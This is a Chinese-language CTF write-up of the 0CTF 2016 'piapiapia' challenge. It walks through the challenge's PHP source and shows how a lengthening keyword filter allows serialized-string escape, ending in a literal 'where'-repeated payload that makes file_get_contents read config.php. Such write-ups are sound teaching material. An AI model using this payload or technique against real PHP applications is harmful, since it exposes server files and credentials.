[0CTF 2016]piapiapia
一道php反序列化字符串逃逸的题目,需要代码审计,tql!
捋清思路:
首先注册一个账号,然后登录,发现有个文件上传地方,刚开始以为是传木马,然后去连,getshell但后面发现新大陆,一顿操作之后,发现需要扫网站,下载源码。
下载下来6个php文件
在config.php中发现有flag 但是被删除了
然后register.php与index.php都是一些基础的注册账号与登录账号的操作
然后由index.php转向update.php
也就是我们看到的这个界面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| //update.php <?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username']; if(!preg_match('/^\d{11}$/', $_POST['phone'])) die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])) die('Invalid email'); if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname');
$file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); //user是class.php中的user的一个对象 $user->update_profile($username, serialize($profile)); //我们的用户名admin和profile以序列化字符串形式传过去的 echo 'Update Profile Success!<a href="profile.php">Your Profile</a>'; } else { ?>
|
简单看一下就是通过post获取变量值,和一些简单的判断输入是否合法的语句,注意一下nickname(昵称)的判断
1 2
| if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname');
|
nickname不能超过10个字符,之后会提及
然后传入update_profile() 这里$profile
数组是我们通过序列化传入的,这里很重要
1
| $user->update_profile($username, serialize($profile)); //我们的用户名admin和profile以序列化字符串形式传过去的
|
之后传入class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102
| //class.php <?php require('config.php');
class user extends mysql{ //继承类的生成 mysql为父类 user为子类 private $table = 'users';
public function is_exists($username) { $username = parent::filter($username);
$where = "username = '$username'"; return parent::select($this->table, $where); } public function register($username, $password) { $username = parent::filter($username); $password = parent::filter($password);
$key_list = Array('username', 'password'); $value_list = Array($username, md5($password)); return parent::insert($this->table, $key_list, $value_list); } public function login($username, $password) { $username = parent::filter($username); $password = parent::filter($password);
$where = "username = '$username'"; $object = parent::select($this->table, $where); if ($object && $object->password === md5($password)) { return true; } else { return false; }
} public function show_profile($username) { $username = parent::filter($username);
$where = "username = '$username'"; $object = parent::select($this->table, $where); return $object->profile; } public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile);
$where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); } public function __tostring() { return __class__; } }
class mysql { private $link = null;
public function connect($config) { $this->link = mysql_connect( $config['hostname'], $config['username'], $config['password'] ); mysql_select_db($config['database']); mysql_query("SET sql_mode='strict_all_tables'");
return $this->link; }
public function select($table, $where, $ret = '*') { $sql = "SELECT $ret FROM $table WHERE $where"; $result = mysql_query($sql, $this->link); return mysql_fetch_object($result); }
public function insert($table, $key_list, $value_list) { $key = implode(',', $key_list); $value = '\'' . implode('\',\'', $value_list) . '\''; $sql = "INSERT INTO $table ($key) VALUES ($value)"; return mysql_query($sql); }
public function update($table, $key, $value, $where) { $sql = "UPDATE $table SET $key = '$value' WHERE $where"; return mysql_query($sql); }
public function filter($string) { //父类filer $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); //一顿操作下来就是一个正则
$safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } public function __tostring() { return __class__; } } session_start(); $user = new user(); $user->connect($config);
|
直接定位到update_profile函数
1 2 3
| public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile);
|
这里通过继承类,调用父类的filter函数
1 2 3 4 5 6 7 8 9
| public function filter($string) { //父类filer $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); //一顿操作下来就是一个正则
$safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }
|
这里相当于一个过滤器
重点看第二个正则 如果我们传入的字符串有'select', 'insert', 'update', 'delete', 'where'
则会被替换为hacker
至此暂时结束
当我们上传完update.php需要的信息之后会跳入profile.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| //profile.php <?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } $username = $_SESSION['username']; $profile=$user->show_profile($username); if($profile == null) { header('Location: update.php'); } else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo'])); ?>
|
这里终于看到了我们常见的漏洞点file_get_contents()函数
先经过反序列化$profile
数组
然后base64编码读出$profile['photo']
之前看到config.php中含有flag 那么我们可以让$profile['photo']=config.php
不就可以拿到flag了
解题:
但是photo部分是文件上传部分,并不能直接让他等于config.php去拿到flag
这里就要用到反序列化字符串逃逸了
在整个过程中存在序列化与反序列化,我们可以在nickname部分构造出符合反序列化的字符串,在nickname存在config.php让其反序列化到后边的photo部分,相当于提前结束反序列化,让原本photo部分的反序列化部分丢失,从而达到使得$profile['photo']=config.php
那么我们需要在nickname序列化后的部分塞入";s:5:"photo";s:10:"config.php";}
共33个字符
这里构造合法反序列化部分很巧妙
之前看代码它存在一个过滤器
1 2 3
| $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string);
|
如果我们只是单纯把";s:5:"photo";s:10:"config.php";}
这一部分塞入nickname那么它经过序列化后,再经过反序列化全部部分还是属于nickname部分,我们就需要在他序列化后构造让他字符串溢出,然后溢出部分就会到photo部分
我们可以让nickname=where
然后序列化后经过过滤器where会被替换为hacker,where为5个字符,而hacker为6个字符,多出一个字符,就这样使得它在反序列时还是按照原本5个字符去反序列化,还有一个字符就溢出逃逸了。
可以简单借助下面的脚本理解:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } $profile = array("phone"=>"12345678912","email"=>"123@qq.com","nickname"=>"where","photo"=>"abc"); $a = serialize($profile); echo $a; echo "\n"; echo filter($a); ?>
|
输出:这里第二行hacker明明是6个字符但是在序列化字符串中还是显示5,那么多余出来的一个字符将会在反序列化过程中逃逸。
那么我们塞入字符串";s:5:"photo";s:10:"config.php";}
是33个字符,则需要33个where
但是之前看到nickname部分不能超过10个字符
这里可以通过数组方式绕开正则匹配即nickename[]
这里$profile
已经是一个数组了,如果数组里面再包含一个数组,那么序列化后的字符串稍有不同。
通过一个脚本来帮助理解:
1 2 3 4
| <?php $a = array("name"=>'Tom',"age"=>array(17)); echo serialize($a); ?>
|
输出:
会有花括号去包裹数组中的数组部分,那么我们在闭合nickname这部分时也需要特意构造一个右花括号去闭合,使其成为合法反序列化部分。
即";}s:5:"photo";s:10:"config.php";}
我们需要塞入34个字符
那么nickname就需要有34个where
1
| wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
|
其他部分任意
进入profile.php去解码这段base64
就可以拿到flag